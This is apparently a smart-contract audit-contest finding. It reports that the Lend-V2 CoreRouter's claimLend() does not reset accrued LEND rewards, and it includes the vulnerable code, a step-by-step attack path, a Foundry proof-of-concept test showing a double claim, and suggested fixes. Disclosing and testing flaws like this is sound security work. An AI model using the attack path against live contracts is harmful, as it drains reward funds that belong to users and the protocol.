Alert Mustard Manatee

High

# Multiple `ClaimLend()` Rewards Due to Missing Reset Mechanism

### Summary

The `claimLend()` function in [CoreRouter](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/src/LayerZero/CoreRouter.sol) contract **allows users to claim LEND token rewards multiple times without proper state reset**. After claiming rewards, the `lendAccrued` mapping is not reset to zero, enabling attackers to repeatedly drain LEND tokens from the contract until the balance is exhausted.

### Root Cause

The vulnerability stems from the [`claimLend()`](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/src/LayerZero/CoreRouter.sol#L363-L408) function's failure to reset the `lendAccrued[user]` state variable to zero after successfully transferring rewards to users. The function calls `grantLendInternal()` which transfers tokens but does not update the accounting state.

**Vulnerable Code in CoreRouter.sol:**
```solidity
function claimLend(address[] memory holders, LToken[] memory lTokens, bool borrowers, bool suppliers) external {
    // ... distribution logic ...
    
    for (uint256 j = 0; j < holders.length;) {
        uint256 accrued = lendStorage.lendAccrued(holders[j]);
        if (accrued > 0) {
            grantLendInternal(holders[j], accrued); // Transfers tokens but doesn't reset accrued
        }
        unchecked {
            ++j;
        }
    }
}
```
**Missing Reset in LendStorage.sol:** The `lendAccrued` mapping retains its value after token transfer, allowing subsequent claims of the same amount.

### Internal Pre-conditions

1. Contract must have LEND token balance available for distribution
2. User must have previously accumulated rewards through **supply/borrow** activities
3. `lendAccrued[user]` must be greater than 0

### External Pre-conditions

**None Required**

### Attack Path

1. **Initial Setup:** Attacker supplies or borrows tokens to accumulate LEND rewards in `lendAccrued[attacker]`
2. **First Claim:** Attacker calls `claimLend([attacker], [lToken], false, true)` to claim their accrued rewards
3. **State Verification:** `lendAccrued[attacker]` remains unchanged (not reset to 0)
4. **Repeated Exploitation:** Attacker repeatedly calls `claimLend()` with the same parameters
5. **Fund Drainage:** Each call transfers the same amount of LEND tokens until contract balance is exhausted

### Impact

1. **Direct Financial Loss:** Complete drainage of LEND token reserves from the protocol
2. **Reward Theft:** Legitimate users lose their accumulated rewards to attackers
3. **Protocol Insolvency:** The rewards mechanism becomes non-functional when LEND balance reaches zero

### PoC

I use the test-case in `test/mocks/TestLendAccrual.t.sol` 
```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.23;

import {Test, console2} from "forge-std/Test.sol";
import {Deploy} from "../../script/Deploy.s.sol";
import {HelperConfig} from "../../script/HelperConfig.s.sol";
import {CrossChainRouterMock} from "./CrossChainRouterMock.sol";
import {CoreRouter} from "../../src/LayerZero/CoreRouter.sol";
import {LendStorage} from "../../src/LayerZero/LendStorage.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ERC20Mock} from "@openzeppelin/contracts/mocks/ERC20Mock.sol";
import {Lendtroller} from "../../src/Lendtroller.sol";
import {InterestRateModel} from "../../src/InterestRateModel.sol";
import {SimplePriceOracle} from "../../src/SimplePriceOracle.sol";
import {LTokenInterface} from "../../src/LTokenInterfaces.sol";
import {LToken} from "../../src/LToken.sol";
import "@layerzerolabs/lz-evm-oapp-v2/test/TestHelper.sol";
import "@layerzerolabs/lz-evm-protocol-v2/test/utils/LayerZeroTest.sol";

contract TestLendAccrual is LayerZeroTest {
    CoreRouter public coreRouter;
    LendStorage public lendStorage;
    Lendtroller public lendtroller;
    SimplePriceOracle public priceOracle;
    address[] public lTokens;
    address[] public supportedTokens;
    address public deployer;
    address public user1;
    address public user2;

    function setUp() public override {
        super.setUp();

        deployer = makeAddr("deployer");
        user1 = makeAddr("user1");
        user2 = makeAddr("user2");
        vm.deal(deployer, 1000 ether);
        vm.deal(user1, 1000 ether);
        vm.deal(user2, 1000 ether);

        // Deploy protocol
        Deploy deploy = new Deploy();
        (
            address priceOracleAddress,
            address lendtrollerAddress,
            ,
            address[] memory lTokenAddresses,
            ,
            address payable coreRouterAddress,
            address lendStorageAddress,
            ,
            address[] memory _supportedTokens
        ) = deploy.run(address(endpoint));

        // Store contract references
        coreRouter = CoreRouter(coreRouterAddress);
        lendStorage = LendStorage(lendStorageAddress);
        lendtroller = Lendtroller(lendtrollerAddress);
        priceOracle = SimplePriceOracle(priceOracleAddress);
        lTokens = lTokenAddresses;
        supportedTokens = _supportedTokens;

        // Set up initial prices
        for (uint256 i = 0; i < supportedTokens.length; i++) {
            priceOracle.setDirectPrice(supportedTokens[i], 1e18);
        }
    }

    function test_claimed_lend_not_matches_lend_accrued() public {
        // Supply tokens with two users
        uint256 supplyAmount = 1000e18;
        (, address lToken) = _supply(supplyAmount, user1);
        _supply(supplyAmount, user2);

        // Advance time
        vm.warp(block.timestamp + 1 days);
        vm.roll(block.number + 1000);

        // Get initial LEND token balance
        address lendToken = lendtroller.getLendAddress();
        uint256 initialBalance = IERC20(lendToken).balanceOf(user1);

        // Record accrued LEND before claiming
        vm.prank(user1);
        address[] memory holders = new address[](1);
        holders[0] = user1;
        LToken[] memory lTokenArray = new LToken[](1);
        lTokenArray[0] = LToken(lToken);
        coreRouter.claimLend(holders, lTokenArray, false, true);

        vm.prank(user1);
        coreRouter.claimLend(holders, lTokenArray, false, true);

        uint256 lendAccrued = lendStorage.lendAccrued(user1);
        uint256 finalBalance = IERC20(lendToken).balanceOf(user1);

        // Verify Claimed amount Not match accrued amount
        assertEq(finalBalance - initialBalance, lendAccrued, "Claimed LEND Not match accrued amount");
    }

    // Helper Functions

    function _supply(uint256 amount, address user) internal returns (address token, address lToken) {
        token = supportedTokens[0];
        lToken = lendStorage.underlyingTolToken(token);

        vm.startPrank(user);
        ERC20Mock(token).mint(user, amount);
        IERC20(token).approve(address(coreRouter), amount);
        coreRouter.supply(amount, token);
        vm.stopPrank();
    }
```

**Logs:**
```solidity
Ran 1 test for test/mocks/TestLendAccrual.t.sol:TestLendAccrual
[FAIL: Claimed LEND Not match accrued amount: 100000000000000000 != 50000000000000000] test_claimed_lend_not_matches_lend_accrued() (gas: 1037647)
Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 17.44ms (2.60ms CPU time)
```

### Mitigation

**Primary Fix:** Reset Accrued State.

Additional: 
   1. Consider implementing role-based access control for `claimLend()`
   2. Implement cooldown periods between claims
